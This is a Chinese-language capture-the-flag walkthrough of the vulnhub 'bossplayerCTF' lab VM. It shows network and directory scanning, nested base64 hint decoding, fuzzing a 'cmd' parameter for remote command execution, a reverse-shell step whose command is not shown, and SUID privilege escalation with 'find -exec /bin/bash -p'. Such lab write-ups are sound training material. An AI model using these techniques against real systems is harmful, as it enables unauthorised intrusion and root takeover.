【vulnhub】bossplayerCTF攻略
准备
1、下载虚拟机
虚拟机地址
2、打开虚拟机
直接双击ova文件,选择打开方式为VirtualBox即可
3、开机,到这个页面就行了
现在可以开始渗透了~
信息收集
靶机IP
用nmap扫描整个C段,拿到靶机IP(我的网段是192.168.56.x)
1 | nmap 192.168.56.1/24 |
扫出三个IP(192.168.56.1是我物理机)
Kali:192.168.56.101 靶机:192.168.56.102
访问Web
靶机开放了80端口,我们访问一下
就是些靶机作者写的靶机介绍,没啥提示性的信息
然后我查看了前端源码,没发现什么。页面上也没有可以点的链接
所以接下来尝试目录扫描
目录扫描
1 | dirb http://192.168.56.102/ |
逐一访问上述三个地址
- index.html:就是上面那个刚打开的网页
- robots.txt:出现了下面的文本
super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg==
- server-status:提示403Forbidden
所以这一步的关键就在于robots.txt
了,接下来我们对拿到的字符进行base64解码(一看第一感觉是base64)
lol try harder bro
被作者嘲笑了。。。
找啊找,这靶机作者真的阴啊!在首页源码下面写了一行注释,因为代码只有12行,却把提示信息写到121行,差点就放过去了!拿到一串字符串
WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK
一眼看不知道是啥加密或者编码,我就先试了base64,解出来个这个
ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K
这一看还是编码,而且没有乱码,长度也明显缩短了,所以这很可能是套娃base64,所以接着解密,直到解出来为止
d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==
这里以及看出来了,很明显的base64编码特征,再解密:
workinginprogress.php
我们得到了一个php,拼接访问一下
workinginprogress.php
看这个样子,应该是要Fuzz参数,看他写的Test ping command,感觉可以命令执行,所以写了个命令去Fuzz
1 | wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.56.102/workinginprogress.php?FUZZ=whoami |
发现cmd
这个参数和其他的不一样
RCE
浏览器访问一下,有东西,直接RCE(怎么感觉初级基本都这样,直接RCE,这是我打的第二个初级vulnhub靶机,第一个是jangow,那个的RCE比这个还直接)
我一般喜欢一句话木马和反弹shell双管齐下。一句话木马连上之后,可视化的传文件看文件啥的方便很多,反弹shell到msf,后续使用msf的模块比较方便。
这里记录一下路径,方便连webshell
1 | pwd /var/www/html |
用蚁剑发现连不上,ls一看,根本就没写进去,尝试新建文件,ls之后发现也没有新建成功,那就只能试试
反弹shell
1 | # kali监听4130端口 |
提权
内核提权
1 | > uname -a |
可以看到,内核提权g了
suid提权
之前总结的提权:提权方式
里面有写到suid提权,这是第一次suid提权实战!
① 查找具有suid权限的命令
1 | > find / -perm -u=s -type f 2>/dev/null |
② 这里我们选在 find 提权
1 | find . -exec /bin/bash -p \; |
可以看到提权成功了
拿flag
1 | 1、切换到root目录下 |
root.txt的内容
Y29uZ3JhdHVsYXRpb25zCg==
解密之后:congratulations
Done!!!完成啦!